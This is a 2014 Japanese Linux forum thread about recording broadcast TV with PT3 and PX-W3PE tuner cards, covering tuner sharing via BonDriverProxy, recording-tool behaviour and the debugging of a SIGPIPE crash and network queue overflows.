> 例えば、PT3とFriioを持ってるとき、PT3が埋まってたらFriioを使うとか。

元々BonDriver層はPT3やFriioみたいに別のデバイスの差異を吸収するための物ですから、DVB対応かどうかは関係なく、
アプリからはチューナの差異は隠される事になります
しかしDVBによってそれらのデバイスが同じインタフェースで扱えるのなら、それのインタフェースに対応するだけで
複数デバイス対応のBonDriverになるので、その分開発の手間が減って助かるでしょうね

チューナが使われてるかどうかまで管理するかどうかは実装次第ですが、どっちかと言うとアプリ側に任せるのが普通です
ただこの場合、例えば録画アプリが使おうとしてるチューナを別プロセスが使ってしまうと録画失敗する事になるので、
そうならないようにのチューナ共有アプリのチャンネルロック設定です
#もっとも、チューナを使う全部のアプリが共有アプリ経由でアクセスしないと管理できませんが…

429 :login:Penguin:2014/06/23(月) 12:32:08.06 ID:DN2vhIfe.net
> スクランブルについては、法的問題以外に純粋に作りの話として、
> 外部にした方がいいんじゃなかろうか。
> ま、それは感覚の問題だけど。

その辺は当方もそう思ってます
一つの全部入りの大きなプログラムより、小さな専用ツールを組み合わせて使う方が、何かと小回りが利くので好きです

例えば今あるサンプルを特にいじらなくても、スクランブル解除して保存したいなら
$ ./sample -b ./BonDriver_Proxy-S0.so -s 0 -c 17 -t 60 | b25 -v 0 -p 0 /dev/stdin /path/to/file.ts
みたいな感じで行けますし、vlcにudpストリーミングしたいなら
$ ./sample -b ./BonDriver_Proxy-S0.so -s 0 -c 17 | b25 -v 0 -p 0 /dev/stdin /dev/stdout | nc -u 192.168.0.101 12345
で行けますね
#ncはudpでのこう言う用途に関しては微妙な気もしますが

録画やチャンネル変更用のアプリからは、こんな感じでサンプルに適切な引数付けて起動したり殺したりするだけで
良いワケですから、PTユーザに関しては、ある意味BonDriver対応は既に出来てると言えばできてますね…
#この例のままでは、クライアントが多数接続してくるとB-CASカードの処理能力の都合でデスクランブルが
#間に合わなくなる可能性はありますが

430 :login:Penguin:2014/06/23(月) 15:51:20.66 ID:quj7m4zR.net
>>428
> チューナが使われてるかどうかまで管理するかどうかは実装次第ですが、どっちかと言うとアプリ側に任せるのが普通です
それについては、チューナ側がTest-and-Set的になっててほしい気がする。
コメントされてるとおり、アプリ同士で協調ってちょっと大変だし。
というか、デバイスアクセスの時点でそうならないんかな。
recpt1のソースなんか見ると、SET_CHANNELのioctlの時点でそれわかるみたいだし。

ただ、じゃあそれで使用中の場合次はどれを、というのはアプリでいいと思うんだけど。

>>429
> 一つの全部入りの大きなプログラムより、小さな専用ツールを組み合わせて使う方が、何かと小回りが利くので好きです
まあ、Linux使いならそういうUNIX的感覚があるんじゃないかとか思ったり。

431 :login:Penguin:2014/06/23(月) 17:21:34.69 ID:st9m78/+.net
なんか話が混ざっててややこしくなってるけど
アプリってのはBonDriverProxyのことじゃないの?

Spinelしか使ったことないけどBonDriverProxyがSpinel相当ならば
BonDriverProxy側で排他制御してくれるから全チューナーをBonDriverProxy通して使ってれば
録画、視聴アプリ側では排他制御は気にしなくてもいいでしょ

432 :login:Penguin:2014/06/23(月) 19:27:50.38 ID:DN2vhIfe.net
>>430
ああ、大抵の実装ではあるデバイスがあるアプリから使用されているのを、別のアプリからオープンしようとすると
失敗するので、「試してみればわかる」のはまあ可能なんですが、録画失敗を避ける為にはそれじゃダメですよね
「チューナの録画での使用予定まで全アプリで協調して制御する」あるいは「使われてても強制的に奪う」事が必要になります
前者は多分無理なので、結局チューナへのアクセスは必ず何らかの管理機構を通して行い、その管理機構が後者の処理を
行うのが現実的、と言う事になります
例えばepgrecが、録画が始まるとリアルタイム視聴用に起動してたrecpt1を殺すとか、そう言う話ですね

チューナ共有アプリのチャンネルロック設定も効果としてはこれと似たような物ですが、プロセスごと殺すのではなく、
視聴用のクライアントからそのチューナのチャンネル制御権を奪うと言う物ですね(録画と視聴チャンネルが同じなら、
そのまま視聴が続けられます)

>>431
> Spinelしか使ったことないけどBonDriverProxyがSpinel相当ならば
> BonDriverProxy側で排他制御してくれるから全チューナーをBonDriverProxy通して使ってれば
> 録画、視聴アプリ側では排他制御は気にしなくてもいいでしょ

これは(どのクライアントが録画用/視聴用かが正しく設定されていれば)その通りです

確かにBonDriver全般の話とチューナ共有ソフト(今の場合はBonDriverProxy)の機能の話が混ざっちゃってる気がしますね
Linuxユーザにはどちらもなじみの無い物かもしれないのでしょうがない部分もあるとは思いますが

433 :login:Penguin:2014/06/23(月) 21:01:28.61 ID:v8soB1YB.net
>>416
chardev→BonDriverの共通ラッパー書けば終わりやん(^_^)

434 :login:Penguin:2014/06/23(月) 22:41:44.55 ID:UrqYkzjU.net
>>423

設定ファイルのデバイスファイル名をpt1にするだけで
「PT2」でも動作しました。

#DEVICE=/dev/pt3video0 → #DEVICE=/dev/pt1video0

435 :login:Penguin:2014/06/24(火) 15:49:44.48 ID:CGRN0YX5.net
>>432
あーなるほど、録画失敗を避けるってのは録画の方を優先したいってことね。
わかるわかる。
それなら、fuserとかでプロセスわかるんだから同じ方法でなんとかなるんじゃなかろうか。
fuserが中で何やってるかよく知らないけど。

でもそれだと、使用中の誰かがリアルタイム視聴なのか録画なのかまではわからないか。
まあ、それについては今度こそアプリ側で
自分の管理対象プロセスかどうかチェックするってことでいいんじゃないかという気がする。

436 :login:Penguin:2014/06/24(火) 16:41:22.96 ID:v2ma19RF.net
つまり、プロセスを殺せば良い。

437 :login:Penguin:2014/06/25(水) 23:13:25.70 ID:alAbLvBn.net
recpt1 でちと気になったんだけど
coreライブラリに分かれた c9b1d21c5035 からかな、SID指定でTS保存すると字幕情報が取れてない気がするんだけど、みんなどう?
地上波だと PID 0x0114 あたりだと思うんだけど、
ffmpeg で確認するとPIDはあるんだけどtsselectするとパケット無いんだ
古い recpt1 に戻すとちゃんと出てくる
CSもPIDは違うんだけど字幕ないみたい
SID未指定のフルTSはまだ試してない

438 :login:Penguin:2014/06/26(木) 00:27:04.74 ID:jxSnb/To.net
UNA版のhttpパッチを使ってるなら同梱されている削除PID追加パッチを適用してないか?

>3については通常の映像・音声の再生に支障が無いのを確認していますが無保証です。
>また字幕・5.1chなど私が必要としていないものについては何も検証していません。

439 :login:Penguin:2014/06/26(木) 00:53:33.39 ID:S6+AoS75.net
>>438
おお、完全に私の早とちりでした。
tssplitter-apnd.diff は当ててないつもりが当ててしまっていたようです。
c8688d7d6382 DLしなおして素のまま build したら平気でした。
ごめんなさい。ありがとうございます。

440 :login:Penguin:2014/06/26(木) 19:10:45.88 ID:ctsx0K82.net
>>434
その辺はPT1/2とPT3のchardev版ドライバの開発者の方々が、インタフェース互換でつくってくれてるからですね

>>435
>>436
デバイスを使用しているプロセス列挙と、それらが行ってるのが録画なのか視聴なのかが判別できるのであれば
(やりようはいくらでも有るでしょう)、録画開始時に確認して、チューナが足りなければ視聴用プロセス殺せば
とりあえず用は足りますけどね

まあ結局のところ、チューナ共有にメリットを感じるかどうかは人それぞれでしょうから、現状困ってないし
わざわざ導入する事もねぇな、と言うのも一つの考え方として有りだと思います

441 :login:Penguin:2014/06/26(木) 19:16:01.07 ID:ctsx0K82.net
そう言えばここに書こうと思って忘れてたんですが、w3peとかのplexチューナ持ってる方、もし時間があったら
ttps://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux
のdevelopブランチの方のBonDriver_LinuxPTを試してみてもらえないでしょうか
上の方で書いた通り、対応簡単そうだったのでとりあえずコードだけは書いてみたんですが、
当方実機を持っておらず動作確認は出来ていないもので…

442 :login:Penguin:2014/06/26(木) 22:31:25.24 ID:IGubDjYd.net
>>ctsx0K82
今出先でザラっと流れ見ただけなんだけど
KVM上のWindows仮想環境で録画ソフト類を動かしておいて
hostのPTxにBondriverをTCP/UDP越しにつないで録画しながら同じチャンネルや空きチャンネルを
LAN内のクライアントでTvTestで見たりできるようにできる?

今はML110G6をファイルサーバ兼仮想環境サーバにしてあって
PT2をPCIパススルーでKVMゲストのWHS2011から見えるようにして
spinel+TVrockで録画管理と自動再エンコードしながらLan内の
各部屋のクライアントのWindowsでTVtestで見れるようにしてるんだ
録画したものはWHSがDLNAサーバも勝手にやってくれるんだが
たまにKVM上のPT2がこける事があるのでパススルーしなくても良くなるなら
ワールドカップ終わったところでやってみる

443 :login:Penguin:2014/06/26(木) 23:41:20.94 ID:IGubDjYd.net
排他制御とか録画優先とかはプロキシーにホストのIPとデバイスのIDで優先度つけたらどう?
niceみたいな感じでIPとデバイスIDごとに優先度をconfに書けば録画鯖のIPからのリクエストは
優先度の低いホストの接続を中断して切り替えちゃう
父ちゃんのホストはかーちゃんのホストより優先度が低いとか
デバイスの優先度は最優先のホストに対して決めておいて
優先度の低いホストからはデバイスの優先度も低い順に割り当てられる
切断する場合ホストの優先度>デバイスの優先度にしておいて
優先度の高いリクエストがきたら容赦なく切断されるで良いと思う

ついでに希望としては昔あったVirtualPTみたいに
チューナー共有サーバ形式でクライアント側のBonDriverは
UHF/BS/CS全部を仮想化したチューナとしてサーバと通信する
サーバ側はクライアントのリクエストを空きチューナに
ホスト/デバイスの優先度順で割り付けるとかできるともっと良いなぁ
クライアントのドライバはBondriverとしての
インターフェイスとサーバと通信する機能だけで
サーバ側は共有制御部分と実デバイスのドライバに分かれる感じで
今はUHF/BS/CSごとにチューナーとドライバをセットで指定してるので
クライアントドライバからは実際のデバイスを隠蔽できる方が録画サーバも作りやすいんじゃないか?

444 :login:Penguin:2014/06/27(金) 06:31:04.84 ID:6gm02sDZ.net
>>442-443
PT2+Spinelの分の機能をホスト側に移動したいと言う事ですね
それなら可能だと思います
ただし、BonDriverProxy自体はデスクランブル機能は持っていないので、それに関してはそれぞれのクライアント側で
行う必要があります
#そこに関しては、各クライアントにB-CASカード用意するなり、B-CASカードの処理能力的に大丈夫な範囲で
#BonCasLink等でまとめるなりして下さい

> 排他制御
これに関しては、現在(クライアント側の自己申告で)チャンネルロック権を持つか持たないかの二値だけで制御しています
個人的な要件として、録画用クライアントに確実にチャンネルロック権を持たせる事が出来る事のみが重要だったので
それで事足りているのですが、段階的な優先度の設定も実装するのは多分そんなに面倒ではないと思うので、
必要そうなら考えてみます
#なお、本来的には自己申告でなくサーバ側で設定を持つのが筋ですが、確実に設定が煩雑になってしまうので躊躇してます

> VirtualPT
当方シンプルなのが好みだったので、サーバ側とクライアント側のBonDriverは(機能的には)一対一対応なのをまずつくったのですが、
確かにVirtualPTみたいな制御がしてほしいて声も結構あったので、サーバ側をフォークしてBonDriverProxyExとして公開してます
気が向いたらこっちも移植すれば良いのかな…
チューナの仮想3波化は、BonDriver_RDCTと言うのがソース含めて公開されてるので、上記BonDriverProxyExのクライアントに
設定したBonDriver_Proxyをそれ経由で使えば、要望されてる機能は大体可能かと思いますよ

445 :391:2014/06/29(日) 04:54:52.92 ID:NiUCYq/U.net
空気読まずに投下

destroy_queue(p_queue);
をいきなり叩いているのが原因ですね。
p_queue->buffer がリークしている。

暫定パッチ作ったけど欲しい?
夜中の変な勢いで書いたものだけど。

446 :login:Penguin:2014/06/29(日) 06:34:25.26 ID:NWynDbUH.net
いらねえよ!

447 :login:Penguin:2014/06/29(日) 09:12:09.58 ID:Y8Pe/3cq.net
>445
ください!

448 :login:Penguin:2014/06/29(日) 13:01:42.94 ID:U7BI4yqJ.net
質問です。

chinachuで深夜3:05-5:05の番組を録画予約しました。
ところが直前のサッカー中継が延長され、見たい番組は録画できませんでした。

質問1: chinachuは延長未対応という認識で合っていますか?

質問2: Linux(debian)で使えるソフトで延長に対応しているものはありますか?

初心者質問で申し訳ありませんが、よろしくお願いします。

449 :login:Penguin:2014/06/29(日) 13:24:23.63 ID:NiUCYq/U.net
>>447

http://www1.axfc.net/u/3269106

450 :login:Penguin:2014/06/29(日) 13:50:59.43 ID:NiUCYq/U.net
>>449
ごめんなさい。コンパイル通らないものをアップロードしました。
こちらをご利用ください。

http://www1.axfc.net/u/3269120

451 :login:Penguin:2014/06/29(日) 14:10:04.59 ID:z6oWkA97.net
>>445
ついでだから切断後シグナルマスク戻さないからSIGKILLしなきゃならんバグも直してよ

452 :login:Penguin:2014/06/29(日) 14:11:52.83 ID:Y8Pe/3cq.net
>450
ありがとうございます〜!

453 :login:Penguin:2014/06/29(日) 14:46:34.55 ID:j+vHdLLp.net
>>450
修正ありがとうございます。
つまらないことでスルーして貰って結構なんですが、こういうのはdestroyで一緒にやる方が良いんじゃないでしょうか。

454 :login:Penguin:2014/06/29(日) 16:12:34.97 ID:IV5o2OlC.net
>>448
まだそういう認識で合ってると思うよ
現状EPG解析はepgdumpでやってるから録画時にリアルタイムで更新できないはず
複数チューナかつ運が良ければ間に合うかもしれないけど。
SI解析も実装する予定でいるらしいが(ポシャった?)
あれをNodeに実用レベルで載せられるかどうか…

455 :448:2014/06/29(日) 18:31:24.74 ID:U7BI4yqJ.net
>>454
ありがとうございます。
延長に対応していないのは残念ですがわかりました。

Schedulerログによるとchinachuは1時間ごとに予約を更新しますが、
録画中や深夜1時から朝5時までは更新を休むようです。
(チューナーはPT2×1+PT3×1)

456 :login:Penguin:2014/06/29(日) 18:49:46.01 ID:ReMJfVhg.net
放送時間の延長に対応するには、一般的に、
読み取った内容を解析すること(スクランブル解除を含む)の他に
単純な録画している時間を、実行中に変化させることができなければいけない

要は、recpt1ctlに相当する機能をすべてのrecxxxに持たせなければいけないということ
例えば、recfsusb2nctl、といったものを個別に作る必要がある


こういう点を考えれば、インターフェースを統一してすべてを同じ操作で扱える
bondriver形式にもメリットがある
windows上でいろいろ揉まれた結果でもあるし
さらにspinnel的な扱いが出来ればより良いだろうけどね

457 :login:Penguin:2014/06/29(日) 21:15:30.46 ID:NGSA/MjH.net
PX-W3PE って Ubuntu 14.04 64bit 3.13.0-30-generic で使えます?
>>441読んで試して見ようと思ったのだけど。

http://www.plex-net.co.jp/product/pxw3pe_download.html
からドライバダウンロードして readme.txt 読んでみたけどRelease note
のみでインストール方法や対応ディストリの記述はないです。

insmodはダメでした。
sudo insmod ./asv5220_dtv.ko
insmod: ERROR: could not insert module ./asv5220_dtv.ko: Invalid module format

対応カーネルバージョン以下の様です。
modinfo ./asv5220_dtv.ko
vermagic: 2.6.32-279.5.1.el6.x86_64 SMP mod_unload modversions

カーネルバージョンで検索するとCentOS6とか出てくるのでRed Hat系?

458 :login:Penguin:2014/06/30(月) 00:07:13.47 ID:abQ5XaIy.net
>>450
パッチをみてみたらepgrecUNAの所で配布してるのと構造が違うので調べてみたらRC4か新本家にRC4をそのまま移植したやつ用か・・・

459 :login:Penguin:2014/06/30(月) 00:58:16.48 ID:bRxCtVkq.net
そういえばUNA版は延長対応してなかったっけ?

460 :login:Penguin:2014/06/30(月) 01:26:08.62 ID:dfg1knvX.net
もうこんなことは辞めてレコーダー買おう

461 :login:Penguin:2014/06/30(月) 02:02:33.86 ID:8CwJEBXv.net
DVB版でも dvb_appsの録画ツール(gstreamer + python)は一応延長対応のはず ( >>39 )

462 :login:Penguin:2014/06/30(月) 02:10:06.71 ID:6mosU4bC.net
>>459
録画中の番組の延長は知らんけど、
開始前の予約は録画開始前にEIT[p/f]をチェックして追随するようにはなってる。

463 :login:Penguin:2014/06/30(月) 03:14:31.39 ID:DwN01oO6.net
まさかレコーダーを買えないからやってるの?
レコーダーごときを?

464 :login:Penguin:2014/06/30(月) 03:23:27.43 ID:6mosU4bC.net
金の話ならレコーダ買う方がよっぽど安上がりだろ

465 :login:Penguin:2014/06/30(月) 07:17:42.97 ID:7ocuUzw7.net
>>463
違うからもう来んな

466 :login:Penguin:2014/06/30(月) 07:19:18.71 ID:dfg1knvX.net
>>463
じ、じつはそうなんです、、、Orz=3ブッ

467 :login:Penguin:2014/06/30(月) 09:06:48.10 ID:MA99xvB1.net
>>457
プレクのドライバはubuntuはダメだったはず
今まで報告されてる使ってみた事例は全部CentOSだと思う

468 :login:Penguin:2014/06/30(月) 09:22:39.28 ID:ujPq+PnL.net
>>456
細かいことだけど、EIT見るのにはスクランブル解除は要らんのでは?

469 :login:Penguin:2014/06/30(月) 11:23:18.73 ID:f61EEGBP.net
>>463
買ったレコーダーがたまに録画失敗するクソだったんで信用しないことにしました

470 :login:Penguin:2014/06/30(月) 15:48:14.78 ID:THsPIyp+.net
放送時間延長とかイベントリレーは対応めんどくさそうだよね

まず最低限、epgrecとかの録画管理ツールからrecpt1とかの実際の録画ツールに録画設定の変更を伝える
しくみが必要で(recpt1に関しては、recpt1ctlが使えるからここはクリアしてるけど)、
その上で録画管理ツールが延長やイベントリレーの監視と、それらに該当すると判断した場合には、
それを録画ツールに指示するなり新たな録画予約を追加するなりする必要がある

さらに、他の録画予約が入っててチューナーに空きが無い場合はどうするかとかの設定ができる必要もあるだろうし、
録画ツール側はともかく、録画管理ツール側でやらなきゃダメな事がかなり多い

正直epgrecいじって対応しようとするくらいなら、EpgTimerSrv移植とかした方が早いかも

471 :login:Penguin:2014/06/30(月) 18:20:04.56 ID:Z2o/PPr0.net
>>470
epgrecUNAは録画中でもEPGが更新されれば時間を延長してくれる
まあ中の人にスポーツにたいする愛が無いようなので完全自動ではないし他Chの予約と重複するとやめちゃうみたいだけどw

472 :login:Penguin:2014/06/30(月) 18:23:12.98 ID:aPcosLFk.net
>>467

やっぱりUbuntuだとダメなのか。

CentOS6.4での導入事例があったのでCentOSでトライしてみるよ。

http://www2.filewo.net/wordpress/2014/02/05/centos6-4%E3%81%A8px-w3pe%E3%81%A7%E4%BD%9C%E3%82%8B%E9%8C%B2%E7%94%BB%E3%82%B5%E3%83%BC%E3%83%90/

473 :login:Penguin:2014/06/30(月) 20:47:20.03 ID:THsPIyp+.net
>>471
見てみた
イベントリレーはまあ置いておくとして、なるほど、延長する可能性のある番組の後番組の頭だけ予約を入れておいて
EPGの更新を確認する、か
少し面倒ではあるけど、全く対応してないのと比べたら全然マシだね

そこが自動化されたらだいぶ使い勝手良くなりそうだけど、対象の番組を録画してるのとは違うチューナーを使って
EPGの更新確認する関係上、難しいかなぁ
録画ツールを改造して、指定録画時間の最後数分になったらEPG更新用に録画とは別ファイルにも出力とかすれば行けそう?

チューナー共有されてる状態なら、普通に番組録画してるチューナーを共有して使えば良いから話は簡単なんだけど・・・
つーかrecpt1をbondriver使えるように改造すればいいのか?

474 :login:Penguin:2014/06/30(月) 21:12:44.01 ID:DwN01oO6.net
すみません。
epgrecUNAのログって、リセットすることはできないでしょうか。
誤ってすごくありふれたキーワードを自動録画ワードにしてしまったので、削除したのですが、大量に予約追加と削除のログが残ってしまいました。
ログを開くたびに、数秒くらい待たされてしまうので、なんとかまっさらにしたいのですが。

475 :login:Penguin:2014/06/30(月) 21:59:03.56 ID:MA99xvB1.net
>>472
ソースは非公開でCentOS用のバイナリだけしか公開しないんなら、
Linux用じゃなくてCentOS用ってちゃんと書けよって思うよね
modinfoではライセンスGPLって表示されるくせにソースは公開してくれないみたいだし、
会社としていろいろと雑な印象

476 :login:Penguin:2014/07/01(火) 00:08:54.22 ID:F+DeUV5E.net
> modinfoではライセンスGPLって表示されるくせにソースは公開してくれない

雑って言うかそれライセンス違反じゃん

477 :login:Penguin:2014/07/01(火) 01:08:46.62 ID:sI+XcYWl.net
ソースの請求先がわかりにくくちっさく書いてて
請求しても音沙汰なしっていうケースはよく聞く

478 :login:Penguin:2014/07/01(火) 02:06:00.44 ID:QUQSWhvI.net
>>474
TRUNCATE TABLE

479 :login:Penguin:2014/07/01(火) 10:52:56.19 ID:Zy9veG3Z.net
>>470
放送が後ろにずれる場合であれば、
録画用のプロセス(recpt1とか)の起動にスクリプトか何かかませて、
EIT見て適当に眠ってくれるコマンド呼んだ後に録画開始するようにすれば、
ってのはだめ?

チューナの管理はまた別に考えないといけないかもしれないけど。

480 :login:Penguin:2014/07/01(火) 18:39:53.25 ID:e6olk3A5.net
>>479
単に後ろにずれるだけならそれで良いと思う
確かepgrecUNA版がやってるのもそれだったんじゃないかね

481 :login:Penguin:2014/07/01(火) 18:41:10.82 ID:Raq5LBsF.net
お手軽インターフェイスのパッケージをお願いします

482 :login:Penguin:2014/07/01(火) 20:47:09.14 ID:ezxEUewa.net
チューナーの空きを意識しつつEPGを更新して録画をやってくれるプログラムがあるといいわけかw。

483 :login:Penguin:2014/07/02(水) 01:07:53.26 ID:M5XTVbsQ.net
>>441

下のような構成でPX-W3PEを試してみました。
動作しますね。

・サーバー
CentOS 6.5 64bit (2.6.32-431.20.3.el6.x86_64)
PX-W3PE V1.2 (PX-W3PE_LinuxDriver_ver.1.0.0.zip 64bit asv5220_dtv.ko)
BonDriverProxy + BonDriver_ProxyPT.so (develop branch)

・クライアント
Windows8.1
TVTest + BonDriver_Proxy.dll

ただ、1チューナーに2接続以上すると不安定になる感じです。
TVTestが固まりサーバーでPacket Queue OVERFLOWが多量に出力され
しばらくするとBonDriverProxyが終了してます。
接続クライアント数に応じてFifoやQueueサイズを変更するってことですかね?

484 :login:Penguin:2014/07/02(水) 09:59:48.42 ID:cRaNnxwL.net
素人質問で申し訳ないですけど、
このスレでいうLinuxというのは、CentOSと思っていいのですか?
他のデストリビューションでは動きませんか?

485 :login:Penguin:2014/07/02(水) 10:07:17.03 ID:zT0wTg+q.net
がんばれば動くと思うけど。
W3PEの場合、CentOSのが動作報告多いってだけ(というか>>472辺りの話?)でね?
Chinachuは一応推奨がUbuntuだったりするし。

486 :login:Penguin:2014/07/02(水) 10:22:42.31 ID:AO9c6Mvs.net
>>478
遅ればせながらありがとう。
でも、その他にもいろいろうまく行かないところとかあって、結局DB作成しなおしてしまいました。
みんなはログ膨れ上がったらmysql操作して消してるの?

487 :login:Penguin:2014/07/02(水) 12:36:53.34 ID:eMEK3G9M.net
>>485
レスどうもです
しかしLinuxはよく分からんなぁ
動いたり動かなかったりラジバンダリ

488 :login:Penguin:2014/07/02(水) 12:46:01.85 ID:/3ZW/MrB.net
>>483
おお、ありがとうございます
3wpeの初期化は、一応はうまく行ってると言う事でしょうか…

> ただ、1チューナーに2接続以上すると不安定になる感じです。
> TVTestが固まりサーバーでPacket Queue OVERFLOWが多量に出力され
> しばらくするとBonDriverProxyが終了してます。
> 接続クライアント数に応じてFifoやQueueサイズを変更するってことですかね?

ありゃ
ウチでUbuntu 14.04 + PT3使って動かしてる分には、キューサイズ等は全部デフォルトのままで1チューナへの
複数接続(チューナ共有)の場合も含めて特に問題なく動いてるので、plexチューナ特有の何かでしょうか…?
ただ、大量の"Packet Queue OVERFLOW"はおそらくサーバからクライアントへのTSストリームを、クライアントが
読み出さない状態が続いた結果だと思うので、その辺を考えると、ネットワーク絡みの何かにも見えますね
#プロセスが終了するのはちとわかりませんが、上記の件の絡みで最終的にメモリ確保に失敗して…とかの線でしょうか

一応の確認ですが、1チューナに2接続以上と言うのは、CentOS上の同じBonDriver_ProxyPT.soをリクエストする
TVTest + BonDriver_Proxy.dllを複数起動したと言う事ですよね?

489 :login:Penguin:2014/07/02(水) 12:52:18.97 ID:/3ZW/MrB.net
>>483
あ、それから、もしWindowsでもチューナとそれにアクセスするBonDriverが使用できる状態であれば、良ければ以下を
試してみていただけないでしょうか?
1. WindowsとLinuxでそれぞれBonDriverProxy(サーバプロセス)を動かす
2. Windows上のTVTest + BonDriver_Proxy.dllからLinux側のサーバプロセスに対してBonDriver_Proxy.soをリクエスト
3. Linux上のBonDriver_Proxy.soはWindows側のサーバプロセスに対してチューナにアクセスするBonDriverをリクエスト
つまり、Windowsから一旦Linuxを経由して結局Windowsのチューナを使用しているだけですが、意図としては、
これが問題なく動くかどうかである程度の問題の切り分けができそうかな、と言うものです
#これに関しては、当方ではHyper-V上のCentOS 6.5で特に問題なく動作する事を確認しています

490 :login:Penguin:2014/07/02(水) 15:14:41.72 ID:OZyIazCq.net
>>485
epgrecUNA版もdebian系向けだった気がする

491 :login:Penguin:2014/07/03(木) 00:07:17.50 ID:LQRgd6Tw.net
>>488

>>483で1チューナーに2接続上と書いたのは、書いたときには正確な個数が
よくわからなかったからでして、動作確認として、TVTestを1個起動し、S0,S1,
T0,T1とBonDriver(チューナー)を切り替えて表示させると特に問題なく表示して
くれたので、嬉しくなってTVTestを1個、2個…と追加で起動していくうちに起こっ
たので何個からか良くわからなかったのです。まあ、最低2接続以上だろうという
ことで書いたのですが…。

(1)ノートPCで無線LAN(>>483の場合)

クライアントはノートPCで無線LANを挟んでいます。

クライアント : ノートPC (Windows + TVTest + BonDriver_Proxy_W3PE_S0.dll)
--- 無線LAN --- ルーター --- 有線LAN ---
サーバー : デスクトップPC (CentOS + BonDriverProxy + BonDriver_LinuxPT_W3PE_S0.so + PX-W3PE)

【ネットワーク絡みの何か】というのであれば見るからに無線LANが飽和しそう
です。それなら、転送量の多いBSをどんどん起動していけばそのうち起きそうです。
実際にやってみた所、BS4個目からTVTestの表示が壊れ始め、Packet Queue OVERFLOWの
メッセージが表示されました。推察どおりネットワークの問題で同一チューナー2接続
以上とか関係なかったです。

(2)デスクトップPCで有線LAN

だったらということで、クライアントをデスクトップPCにしCPUパワーをあげて
かつ有線LANでネットワークを安定させてみたところTVTestを7個程度起動して
もきちんと表示してくれました。ですので、間違いなくネットワークの問題で
PX-W3PEは関係ないです。さらに追加でPT3をサーバーに差して確認してみま
したが同じ結果でした。

492 :login:Penguin:2014/07/03(木) 01:34:01.24 ID:LQRgd6Tw.net
>>488

(3)BonDriverProxyプロセスの終了

再度確認したのですが、Packet Queue OVERFLOWのメッセージが
表示された後しばらくするとBonDriverProxyが終了するのではなく、
連続してTVTestを起動すると、最後に起動したTVTestがハングアップ
状態になります。そうするとメッセージが表示されます。ハングアップ
状態のTVTestを除いて、動作していそうなTVTestのうちどれか1個を
終了させると、同時にBonDriverProxyのプロセスが終了するという
挙動でした。

-g オプション付加して再コンパイル gdb上で実行、上の手順でプロ
セスが終了した際の出力です。

Program received signal SIGPIPE, Broken pipe.
[Switching to Thread 0x7fffd35fe700 (LWP 31499)]
0x000000315d00ecdc in send () from /lib64/libpthread.so.0
(gdb) backtrace
#0 0x000000315d00ecdc in send () from /lib64/libpthread.so.0
#1 0x0000000000401db5 in cProxyServer::Sender (pv=0x607b70) at BonDriverProxy.cpp:632
#2 0x000000315d0079d1 in start_thread () from /lib64/libpthread.so.0
#3 0x000000315cce8b5d in clone () from /lib64/libc.so.6

こんな感じの挙動かなあと思ったりはしたのですが。
http://d.hatena.ne.jp/y-hamigaki/20070709#1183982184

>>489は後日確認してみます。

493 :login:Penguin:2014/07/03(木) 13:18:45.72 ID:a1vOG2RQ.net
>>491-492
詳しい確認ありがとうございます
どうやらネットワーク側の問題だったと言うところまで確認できたのなら>>489はもう必要なさそうです
w3pe対応に関しては大丈夫そうとの事で、developからmasterにマージしようかと思います

ネットワーク容量に関しては、BonDriverProxyの場合、デフォルトではTSストリームを定常送信している時
188*1024バイト(TSパケットのバッファサイズ)毎に16バイトのオーバヘッドが付く様になっています
なので、トラフィックの殆どがTSストリーム自身の物なのですが、それでもBSでは1TSストリームで24Mbpsとかになるので、
多数のストリームを送信すると無線では厳しくなってしまいますね

サーバプロセスが死ぬ件は、そのログから確かにSIGPIPEを無視してないからのようです
#元々Windows版からの移植なので対応忘れてました(;´Д`)
今グローバルなロック掛けてる処理をBonDriverのインスタンス毎に分ける形に変更してるところなので、
それと一緒に対応する事にしますね

494 :login:Penguin:2014/07/03(木) 14:36:00.20 ID:PkrsOdjH.net
Windows⇔Unix移植でシグナル関係はマジで鬼門…

495 :login:Penguin:2014/07/05(土) 16:11:30.94 ID:W/F+l3Z5.net
px-q3pe / CentOS 6.5 で 安定動作中。素晴らしいな。

>>441
plex.cpp (´▽`)アリガト!

496 :login:Penguin:2014/07/05(土) 22:57:47.67 ID:dQ8aHTrO.net
>>495
おお、plex.cppのq3peでの動作確認していただけたと言う事でしょうか
#recpt1で使用とかでしょうか?
お役に立ったのなら何よりです

なお>>493の件、対応完了しております
ttps://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux

497 :login:Penguin:2014/07/09(水) 01:33:08.89 ID:cvRDG/nS.net
PX-W3PEをwindowsで使っています
Windowsだと内臓ブースターの感度調整ができますが、foltia anime lockerでもできますか?

498 :login:Penguin:2014/07/09(水) 02:08:23.38 ID:ARuOD0a6.net
debian系で動かぬとは…

499 :login:Penguin:2014/07/09(水) 02:18:52.63 ID:xu7Dt0I9.net
unknownさん
confファイルのPACKET_FIFO_SIZE,TS_FIFO_SIZE,TSPACKET_BUFSIZEを変更すると具体的に何がどんな感じで変わりますか?
ttps://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/BonDriver_Proxy.conf#L15-17
TS Queue OVERFLOW : size[64]と出力されます。

500 :login:Penguin:2014/07/09(水) 20:10:01.27 ID:GgPhQLZW.net
>>499
TSPACKET_BUFSIZEはTSストリームをTSキューに放り込む際の一単位のサイズです
TSストリームをデバイスから読み出して、そのサイズまでバッファリングしてから一つのTSデータ用パケットとして
クライアントモジュールに送信します

PACKET_FIFO_SIZEは上記のTSデータ用パケットを含めた通信プロトコルのコマンドパケットのキューサイズです
#普通の使い方をする限り、定常送信中は全部がTSデータ用パケットになるでしょう

TS_FIFO_SIZEは、クライアントモジュールはTSデータ用パケットを受け取ったらTSキューに放り込んでいきますが、
それがアプリケーションに読み出されるまでの間保持しておくためのキューのサイズです
TSPACKET_BUFSIZE * TS_FIFO_SIZEがクライアント側モジュールでTSデータ用に保持される最大バッファサイズです

501 :login:Penguin:2014/07/09(水) 20:14:02.70 ID:GgPhQLZW.net
>>500の続きです

例えばネットワーク速度が安定せず、速くなったり遅くなったりするならPACKET_FIFO_SIZEを大きくするとドロップ
しなくなるかもしれません
しかし、絶対的に速度が足りていない場合は、大きくしてもキューサイズを超えるまでの時間が少し延びるだけでしょう

TS_FIFO_SIZEに関しても同じで、アプリケーション側の読み出し方次第です
新規データはサーバ側でどんどんデバイスから読み出され、クライアントモジュールに送られてTSキューに積まれて
